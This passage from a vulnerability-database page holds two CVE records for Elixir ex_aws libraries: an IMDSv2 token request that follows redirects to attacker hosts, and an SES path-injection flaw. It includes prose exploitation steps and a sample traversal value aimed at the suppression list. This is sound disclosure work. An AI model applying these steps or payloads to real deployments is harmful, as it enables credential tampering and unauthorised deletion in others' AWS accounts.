This vulnerability is associated with program files lib/ex_aws/instance_meta_token_provider.ex and program routines ExAws.InstanceMetaTokenProvider.request_token/1 and ExAws.InstanceMetaTokenProvider.get/1.
ex_aws requests its IMDSv2 session token from the link-local metadata endpoint (http://169.254.169.254/latest/api/token) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host's response body as the IMDSv2 session token, caching it and sending it as the x-aws-ec2-metadata-token header on every subsequent metadata and credential request.
This issue affects ex_aws: from 2.3.0 before 2.8.0.
Severity
CWE
- CWE-918 - Server-Side Request Forgery
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-59697.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-59697 | related |
| https://github.com/ex-aws/ex_aws/commit/4d7923c16… | related |
| https://github.com/ex-aws/ex_aws/commit/9fcc3605c… | patch |
Impacted products
Date Public
2026-11-24 11:43
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/instance_meta_token_provider.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:request_token/1"
},
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:get/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.3.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/instance_meta_token_provider.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:request_token/1"
},
{
"name": "\u0027Elixir.ExAws.InstanceMetaTokenProvider\u0027:get/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "9fcc3605c7a0ecf8e205a72c50de3ced72befed0",
"status": "affected",
"version": "4d7923c16f613cc2bade2ed325d444bba0bc7234",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe application must obtain its AWS credentials from the EC2 Instance Metadata Service (IMDSv2) through the ex_aws instance metadata token provider. Applications that source credentials by other means (for example environment variables or explicit configuration) do not reach the vulnerable code path.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The application must obtain its AWS credentials from the EC2 Instance Metadata Service (IMDSv2) through the ex_aws instance metadata token provider. Applications that source credentials by other means (for example environment variables or explicit configuration) do not reach the vulnerable code path."
}
],
"value": "The application must obtain its AWS credentials from the EC2 Instance Metadata Service (IMDSv2) through the ex_aws instance metadata token provider. Applications that source credentials by other means (for example environment variables or explicit configuration) do not reach the vulnerable code path."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.3.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T11:43:15.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eServer-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program files \u003ccode\u003elib/ex_aws/instance_meta_token_provider.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.InstanceMetaTokenProvider.request_token/1\u003c/code\u003e and \u003ccode\u003eExAws.InstanceMetaTokenProvider.get/1\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eex_aws requests its IMDSv2 session token from the link-local metadata endpoint (\u003ccode\u003ehttp://169.254.169.254/latest/api/token\u003c/code\u003e) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host\u0027s response body as the IMDSv2 session token, caching it and sending it as the \u003ccode\u003ex-aws-ec2-metadata-token\u003c/code\u003e header on every subsequent metadata and credential request.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.3.0 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).\n\nThis vulnerability is associated with program files `lib/ex_aws/instance_meta_token_provider.ex` and program routines `ExAws.InstanceMetaTokenProvider.request_token/1` and `ExAws.InstanceMetaTokenProvider.get/1`.\n\nex_aws requests its IMDSv2 session token from the link-local metadata endpoint (`http://169.254.169.254/latest/api/token`) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host\u0027s response body as the IMDSv2 session token, caching it and sending it as the `x-aws-ec2-metadata-token` header on every subsequent metadata and credential request.\n\nThis issue affects ex_aws: from 2.3.0 before 2.8.0."
}
],
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).\n\nThis vulnerability is associated with program files lib/ex_aws/instance_meta_token_provider.ex and program routines ExAws.InstanceMetaTokenProvider.request_token/1 and ExAws.InstanceMetaTokenProvider.get/1.\n\nex_aws requests its IMDSv2 session token from the link-local metadata endpoint (http://169.254.169.254/latest/api/token) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host\u0027s response body as the IMDSv2 session token, caching it and sending it as the x-aws-ec2-metadata-token header on every subsequent metadata and credential request.\n\nThis issue affects ex_aws: from 2.3.0 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-664",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-664 Server Side Request Forgery"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "ADJACENT",
"baseScore": 7.6,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918 Server-Side Request Forgery",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T11:43:17.078Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-mww9-g5mj-j664"
},
{
"name": "EEF CNA record for CVE-2026-59697",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-59697.html"
},
{
"name": "OSV record EEF-CVE-2026-59697",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-59697"
},
{
"name": "Introducing commit 4d7923c in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/4d7923c16f613cc2bade2ed325d444bba0bc7234"
},
{
"name": "Fix commit 9fcc360 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/9fcc3605c7a0ecf8e205a72c50de3ced72befed0"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "IMDSv2 metadata token request follows HTTP redirects in ex_aws",
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eThe attacker is positioned to answer requests the instance sends to \u003ccode\u003e169.254.169.254\u003c/code\u003e, for example as an on-segment neighbor spoofing the link-local address.\u003c/li\u003e\n\u003cli\u003eThe application obtains a metadata token through \u003ccode\u003eExAws.InstanceMetaTokenProvider.get/1\u003c/code\u003e, which calls \u003ccode\u003erequest_token/1\u003c/code\u003e and sends \u003ccode\u003ePUT /latest/api/token\u003c/code\u003e to the link-local endpoint.\u003c/li\u003e\n\u003cli\u003eThe attacker answers the \u003ccode\u003ePUT\u003c/code\u003e with \u003ccode\u003e302\u003c/code\u003e and a \u003ccode\u003eLocation\u003c/code\u003e header pointing at a host they control.\u003c/li\u003e\n\u003cli\u003eThe HTTP client follows the redirect because ex_aws passed \u003ccode\u003efollow_redirect: true\u003c/code\u003e, and the attacker\u0027s host replies \u003ccode\u003e200\u003c/code\u003e with a chosen body such as \u003ccode\u003eATTACKER-CONTROLLED-SESSION-TOKEN\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eget/1\u003c/code\u003e returns that body as the IMDSv2 session token, and ex_aws caches it and sends it as \u003ccode\u003ex-aws-ec2-metadata-token\u003c/code\u003e on later metadata and credential requests.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. The attacker is positioned to answer requests the instance sends to `169.254.169.254`, for example as an on-segment neighbor spoofing the link-local address.\n2. The application obtains a metadata token through `ExAws.InstanceMetaTokenProvider.get/1`, which calls `request_token/1` and sends `PUT /latest/api/token` to the link-local endpoint.\n3. The attacker answers the `PUT` with `302` and a `Location` header pointing at a host they control.\n4. The HTTP client follows the redirect because ex_aws passed `follow_redirect: true`, and the attacker\u0027s host replies `200` with a chosen body such as `ATTACKER-CONTROLLED-SESSION-TOKEN`.\n5. `get/1` returns that body as the IMDSv2 session token, and ex_aws caches it and sends it as `x-aws-ec2-metadata-token` on later metadata and credential requests."
}
],
"value": "* The attacker is positioned to answer requests the instance sends to 169.254.169.254, for example as an on-segment neighbor spoofing the link-local address.\n* The application obtains a metadata token through ExAws.InstanceMetaTokenProvider.get/1, which calls request_token/1 and sends PUT /latest/api/token to the link-local endpoint.\n* The attacker answers the PUT with 302 and a Location header pointing at a host they control.\n* The HTTP client follows the redirect because ex_aws passed follow_redirect: true, and the attacker\u0027s host replies 200 with a chosen body such as ATTACKER-CONTROLLED-SESSION-TOKEN.\n* get/1 returns that body as the IMDSv2 session token, and ex_aws caches it and sends it as x-aws-ec2-metadata-token on later metadata and credential requests."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Token request.\u003c/strong\u003e \u003ccode\u003eExAws.InstanceMetaTokenProvider.request_token/1\u003c/code\u003e sends the IMDSv2 \u003ccode\u003ePUT\u003c/code\u003e to the hard-coded link-local endpoint \u003ccode\u003ehttp://169.254.169.254/latest/api/token\u003c/code\u003e with \u003ccode\u003efollow_redirect: true\u003c/code\u003e in its HTTP options. AWS advises against following redirects on metadata requests, and IMDSv2\u0027s \"PUT plus required header\" design is itself an SSRF mitigation.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Redirect following.\u003c/strong\u003e Any \u003ccode\u003e3xx\u003c/code\u003e reply to the token request is followed by the HTTP client to whatever host its \u003ccode\u003eLocation\u003c/code\u003e header names. Nothing restricts the redirect target to the link-local range, so the request can leave \u003ccode\u003e169.254.169.254\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Token acceptance.\u003c/strong\u003e The body returned by the final URL is accepted verbatim as the session token, cached in ETS, and sent as the \u003ccode\u003ex-aws-ec2-metadata-token\u003c/code\u003e header on every later metadata and credential request the library makes. Whoever answers the redirect therefore chooses both where the token request ends up and which value is used as the token.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Token request.** `ExAws.InstanceMetaTokenProvider.request_token/1` sends the IMDSv2 `PUT` to the hard-coded link-local endpoint `http://169.254.169.254/latest/api/token` with `follow_redirect: true` in its HTTP options. AWS advises against following redirects on metadata requests, and IMDSv2\u0027s \"PUT plus required header\" design is itself an SSRF mitigation.\n\n**2. Redirect following.** Any `3xx` reply to the token request is followed by the HTTP client to whatever host its `Location` header names. Nothing restricts the redirect target to the link-local range, so the request can leave `169.254.169.254`.\n\n**3. Token acceptance.** The body returned by the final URL is accepted verbatim as the session token, cached in ETS, and sent as the `x-aws-ec2-metadata-token` header on every later metadata and credential request the library makes. Whoever answers the redirect therefore chooses both where the token request ends up and which value is used as the token."
}
],
"value": "1. Token request. ExAws.InstanceMetaTokenProvider.request_token/1 sends the IMDSv2 PUT to the hard-coded link-local endpoint http://169.254.169.254/latest/api/token with follow_redirect: true in its HTTP options. AWS advises against following redirects on metadata requests, and IMDSv2\u0027s \"PUT plus required header\" design is itself an SSRF mitigation.\n\n2. Redirect following. Any 3xx reply to the token request is followed by the HTTP client to whatever host its Location header names. Nothing restricts the redirect target to the link-local range, so the request can leave 169.254.169.254.\n\n3. Token acceptance. The body returned by the final URL is accepted verbatim as the session token, cached in ETS, and sent as the x-aws-ec2-metadata-token header on every later metadata and credential request the library makes. Whoever answers the redirect therefore chooses both where the token request ends up and which value is used as the token."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-59697",
"datePublished": "2026-11-24T11:43:17.078Z",
"dateReserved": "2026-07-06T14:05:47.003Z",
"dateUpdated": "2026-11-24T11:43:17.078Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-65622 (GCVE-0-2026-65622)
Vulnerability from cvelistv5 – Published: 2026-11-24 14:21 – Updated: 2026-11-24 14:21
VLAI
EPSS
VEX
Title
ex_aws_ses missing URI-encoding of list_name allows path injection into SES V2 request URLs
Summary
Improper Encoding or Escaping of Output vulnerability in ex-aws ex_aws_ses (ExAws.SES module) allows path injection into Amazon SES V2 request URLs.
This vulnerability is associated with program file lib/ex_aws/ses.ex and program routines ExAws.SES.delete_contact_list/1, ExAws.SES.get_contact_list/1, ExAws.SES.update_contact_list/2, ExAws.SES.create_contact/3, ExAws.SES.get_contact/2, ExAws.SES.update_contact/3, ExAws.SES.delete_contact/2 and ExAws.SES.list_contacts/1.
The V2 contact-list and contact functions interpolate the caller-supplied list_name into the request path without URI-encoding it, unlike the email address in the same functions which is passed through ExAws.Request.Url.uri_encode/1. An application that forwards untrusted input as a contact-list name lets an attacker embed /, .. or ? to escape the intended contact-lists/<name> path segment. A value such as x/../suppression/addresses/victim%40example.com makes a delete_contact_list/1 call arrive at the account-wide suppression list. The request is still signed with the application's own AWS credentials and sent to the configured SES host, so the impact is cross-resource request forgery inside the caller's own AWS account, not arbitrary SSRF. Applications that only use hardcoded or strictly validated list names are not affected.
This issue affects ex_aws_ses: from 2.3.0 before 2.5.0.
Severity
CWE
- CWE-116 - Improper Encoding or Escaping of Output
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws_ses/security/adv… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-65622.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-65622 | related |
| https://github.com/ex-aws/ex_aws_ses/commit/ac7f9… | related |
| https://github.com/ex-aws/ex_aws_ses/commit/05c58… | patch |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| ex-aws | ex_aws_ses |
Affected:
2.3.0 , < 2.5.0
(semver)
cpe:2.3:a:ex-aws:ex_aws_ses:*:*:*:*:*:*:*:* |
|
| ex-aws | ex_aws_ses |
Affected:
ac7f97fa93c82e30868634735649027b2b968607 , < 05c580a8d17da33535d55a45e4cd2430e88e62cf
(git)
cpe:2.3:a:ex-aws:ex_aws_ses:*:*:*:*:*:*:*:* |
Date Public
2026-11-24 14:21
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_ses:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.SES\u0027"
],
"packageName": "ex_aws_ses",
"packageURL": "pkg:hex/ex_aws_ses",
"product": "ex_aws_ses",
"programFiles": [
"lib/ex_aws/ses.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.SES\u0027:delete_contact_list/1"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:get_contact_list/1"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:update_contact_list/2"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:create_contact/3"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:get_contact/2"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:update_contact/3"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:delete_contact/2"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:list_contacts/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws_ses",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.5.0",
"status": "affected",
"version": "2.3.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws_ses:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.SES\u0027"
],
"packageName": "ex-aws/ex_aws_ses",
"packageURL": "pkg:github/ex-aws/ex_aws_ses",
"product": "ex_aws_ses",
"programFiles": [
"lib/ex_aws/ses.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.SES\u0027:delete_contact_list/1"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:get_contact_list/1"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:update_contact_list/2"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:create_contact/3"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:get_contact/2"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:update_contact/3"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:delete_contact/2"
},
{
"name": "\u0027Elixir.ExAws.SES\u0027:list_contacts/1"
}
],
"repo": "https://github.com/ex-aws/ex_aws_ses",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "05c580a8d17da33535d55a45e4cd2430e88e62cf",
"status": "affected",
"version": "ac7f97fa93c82e30868634735649027b2b968607",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe application must pass externally-influenced input (such as an HTTP parameter, a queue message, or a tenant record) as the \u003ccode\u003elist_name\u003c/code\u003e argument to one of the affected \u003ccode\u003eExAws.SES\u003c/code\u003e V2 contact-list or contact functions. Applications that only use hardcoded or strictly validated list names are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The application must pass externally-influenced input (such as an HTTP parameter, a queue message, or a tenant record) as the `list_name` argument to one of the affected `ExAws.SES` V2 contact-list or contact functions. Applications that only use hardcoded or strictly validated list names are not affected."
}
],
"value": "The application must pass externally-influenced input (such as an HTTP parameter, a queue message, or a tenant record) as the list_name argument to one of the affected ExAws.SES V2 contact-list or contact functions. Applications that only use hardcoded or strictly validated list names are not affected."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws_ses:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.5.0",
"versionStartIncluding": "2.3.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T14:21:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eImproper Encoding or Escaping of Output vulnerability in ex-aws ex_aws_ses (\u003ccode\u003eExAws.SES\u003c/code\u003e module) allows path injection into Amazon SES V2 request URLs.\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program file \u003ccode\u003elib/ex_aws/ses.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.SES.delete_contact_list/1\u003c/code\u003e, \u003ccode\u003eExAws.SES.get_contact_list/1\u003c/code\u003e, \u003ccode\u003eExAws.SES.update_contact_list/2\u003c/code\u003e, \u003ccode\u003eExAws.SES.create_contact/3\u003c/code\u003e, \u003ccode\u003eExAws.SES.get_contact/2\u003c/code\u003e, \u003ccode\u003eExAws.SES.update_contact/3\u003c/code\u003e, \u003ccode\u003eExAws.SES.delete_contact/2\u003c/code\u003e and \u003ccode\u003eExAws.SES.list_contacts/1\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eThe V2 contact-list and contact functions interpolate the caller-supplied \u003ccode\u003elist_name\u003c/code\u003e into the request path without URI-encoding it, unlike the email address in the same functions which is passed through \u003ccode\u003eExAws.Request.Url.uri_encode/1\u003c/code\u003e. An application that forwards untrusted input as a contact-list name lets an attacker embed \u003ccode\u003e/\u003c/code\u003e, \u003ccode\u003e..\u003c/code\u003e or \u003ccode\u003e?\u003c/code\u003e to escape the intended \u003ccode\u003econtact-lists/\u0026lt;name\u0026gt;\u003c/code\u003e path segment. A value such as \u003ccode\u003ex/../suppression/addresses/victim%40example.com\u003c/code\u003e makes a \u003ccode\u003edelete_contact_list/1\u003c/code\u003e call arrive at the account-wide suppression list. The request is still signed with the application\u0027s own AWS credentials and sent to the configured SES host, so the impact is cross-resource request forgery inside the caller\u0027s own AWS account, not arbitrary SSRF. Applications that only use hardcoded or strictly validated list names are not affected.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws_ses: from 2.3.0 before 2.5.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Improper Encoding or Escaping of Output vulnerability in ex-aws ex_aws_ses (`ExAws.SES` module) allows path injection into Amazon SES V2 request URLs.\n\nThis vulnerability is associated with program file `lib/ex_aws/ses.ex` and program routines `ExAws.SES.delete_contact_list/1`, `ExAws.SES.get_contact_list/1`, `ExAws.SES.update_contact_list/2`, `ExAws.SES.create_contact/3`, `ExAws.SES.get_contact/2`, `ExAws.SES.update_contact/3`, `ExAws.SES.delete_contact/2` and `ExAws.SES.list_contacts/1`.\n\nThe V2 contact-list and contact functions interpolate the caller-supplied `list_name` into the request path without URI-encoding it, unlike the email address in the same functions which is passed through `ExAws.Request.Url.uri_encode/1`. An application that forwards untrusted input as a contact-list name lets an attacker embed `/`, `..` or `?` to escape the intended `contact-lists/\u003cname\u003e` path segment. A value such as `x/../suppression/addresses/victim%40example.com` makes a `delete_contact_list/1` call arrive at the account-wide suppression list. The request is still signed with the application\u0027s own AWS credentials and sent to the configured SES host, so the impact is cross-resource request forgery inside the caller\u0027s own AWS account, not arbitrary SSRF. Applications that only use hardcoded or strictly validated list names are not affected.\n\nThis issue affects ex_aws_ses: from 2.3.0 before 2.5.0."
}
],
"value": "Improper Encoding or Escaping of Output vulnerability in ex-aws ex_aws_ses (ExAws.SES module) allows path injection into Amazon SES V2 request URLs.\n\nThis vulnerability is associated with program file lib/ex_aws/ses.ex and program routines ExAws.SES.delete_contact_list/1, ExAws.SES.get_contact_list/1, ExAws.SES.update_contact_list/2, ExAws.SES.create_contact/3, ExAws.SES.get_contact/2, ExAws.SES.update_contact/3, ExAws.SES.delete_contact/2 and ExAws.SES.list_contacts/1.\n\nThe V2 contact-list and contact functions interpolate the caller-supplied list_name into the request path without URI-encoding it, unlike the email address in the same functions which is passed through ExAws.Request.Url.uri_encode/1. An application that forwards untrusted input as a contact-list name lets an attacker embed /, .. or ? to escape the intended contact-lists/\u003cname\u003e path segment. A value such as x/../suppression/addresses/victim%40example.com makes a delete_contact_list/1 call arrive at the account-wide suppression list. The request is still signed with the application\u0027s own AWS credentials and sent to the configured SES host, so the impact is cross-resource request forgery inside the caller\u0027s own AWS account, not arbitrary SSRF. Applications that only use hardcoded or strictly validated list names are not affected.\n\nThis issue affects ex_aws_ses: from 2.3.0 before 2.5.0."
}
],
"impacts": [
{
"capecId": "CAPEC-64",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eAn attacker who controls a contact-list name, or an email address passed to the V2 contact functions, can redirect an authenticated, SigV4-signed SES request to a different resource in the account, causing unintended reads, modifications or deletions (for example manipulating the account-wide suppression list) while the application believes it is operating only on the named contact list or contact. Applications that only use hardcoded or strictly validated values for these arguments are not affected.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "An attacker who controls a contact-list name, or an email address passed to the V2 contact functions, can redirect an authenticated, SigV4-signed SES request to a different resource in the account, causing unintended reads, modifications or deletions (for example manipulating the account-wide suppression list) while the application believes it is operating only on the named contact list or contact. Applications that only use hardcoded or strictly validated values for these arguments are not affected."
}
],
"value": "An attacker who controls a contact-list name, or an email address passed to the V2 contact functions, can redirect an authenticated, SigV4-signed SES request to a different resource in the account, causing unintended reads, modifications or deletions (for example manipulating the account-wide suppression list) while the application believes it is operating only on the named contact list or contact. Applications that only use hardcoded or strictly validated values for these arguments are not affected."
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "LOCAL",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-116",
"description": "CWE-116 Improper Encoding or Escaping of Output",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T14:21:01.869Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws_ses/security/advisories/GHSA-m65r-v8mq-xj8v"
},
{
"name": "EEF CNA record for CVE-2026-65622",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-65622.html"
},
{
"name": "OSV record EEF-CVE-2026-65622",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-65622"
},
{
"name": "Introducing commit ac7f97f in ex-aws/ex_aws_ses",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws_ses/commit/ac7f97fa93c82e30868634735649027b2b968607"
},
{
"name": "Fix commit 05c580a in ex-aws/ex_aws_ses",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws_ses/commit/05c580a8d17da33535d55a45e4cd2430e88e62cf"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "ex_aws_ses missing URI-encoding of list_name allows path injection into SES V2 request URLs",
"workarounds": [
{
"lang": "en",
